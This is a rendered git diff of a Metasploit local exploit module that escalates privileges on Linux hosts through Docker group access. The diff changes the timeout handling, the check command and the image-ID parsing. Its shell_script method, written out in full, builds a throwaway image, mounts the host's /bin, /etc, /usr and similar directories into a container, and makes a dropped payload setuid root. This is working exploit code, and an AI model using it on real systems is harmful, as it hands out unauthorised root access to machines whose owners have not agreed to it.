3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
- require 'rex'
8
- require 'msf/core/exploit/exe'
9
-
10
6
class MetasploitModule < Msf ::Exploit ::Local
7
+
11
8
Rank = ExcellentRanking
12
- include Msf :: Exploit :: EXE
9
+
13
10
include Msf ::Post ::File
11
+ include Msf ::Exploit ::EXE
14
12
include Msf ::Exploit ::FileDropper
15
13
16
14
def initialize ( info = { } )
@@ -26,18 +24,17 @@ def initialize(info={})
26
24
'Platform' => 'linux' ,
27
25
'Arch' => [ ARCH_X86 , ARCH_X86_64 , ARCH_ARMLE , ARCH_MIPSLE , ARCH_MIPSBE ] ,
28
26
'Targets' => [ [ 'Automatic' , { } ] ] ,
29
- 'DefaultOptions' => { 'PrependFork' => true } ,
27
+ 'DefaultOptions' => { 'PrependFork' => true , 'WfsDelay' => 60 } ,
30
28
'SessionTypes' => [ 'shell' , 'meterpreter' ]
31
29
}
32
30
) )
33
31
register_advanced_options ( [
34
- OptInt . new ( "ListenerTimeout" , [ true , "Number of seconds to wait for the exploit" , 60 ] ) ,
35
32
OptString . new ( "WritableDir" , [ true , "A directory where we can write files" , "/tmp" ] )
36
33
] , self . class )
37
34
end
38
35
39
36
def check
40
- if cmd_exec ( "sh -c 'docker ps; echo $?'" ) . strip =~ /1$/
37
+ if cmd_exec ( 'docker ps && echo true' ) == 'true'
41
38
print_error ( "Failed to access Docker daemon." )
42
39
Exploit ::CheckCode ::Safe
43
40
else
@@ -58,19 +55,15 @@ def exploit
58
55
vprint_status shell_script ( exe_path )
59
56
vprint_status cmd_exec ( "sh -c '#{ shell_script ( exe_path ) } '" )
60
57
61
- stime = Time . now . to_f
62
- print_status "Waiting for payload"
63
- until session_created? || stime + datastore [ 'ListenerTimeout' ] < Time . now . to_f
64
- Rex . sleep ( 1 )
65
- end
58
+ print_status "Waiting #{ datastore [ 'WfsDelay' ] } s for payload"
66
59
end
67
60
68
61
def shell_script ( exploit_path )
69
62
deps = %w( /bin /lib /lib64 /etc /usr /opt ) + [ datastore [ 'WritableDir' ] ]
70
63
dep_options = deps . uniq . map { |dep | "-v #{ dep } :#{ dep } " } . join ( " " )
71
64
72
65
%Q{
73
- IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | cut -d ":" -f2 `
66
+ IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\ \\ $NF }" `
74
67
EXPLOIT="chown 0:0 #{ exploit_path } ; chmod u+s #{ exploit_path } "
75
68
docker run #{ dep_options } $IMG /bin/sh -c "$EXPLOIT"
76
69
docker rmi -f $IMG
@@ -79,4 +72,3 @@ def shell_script(exploit_path)
79
72
end
80
73
81
74
end
82
-
0 commit comments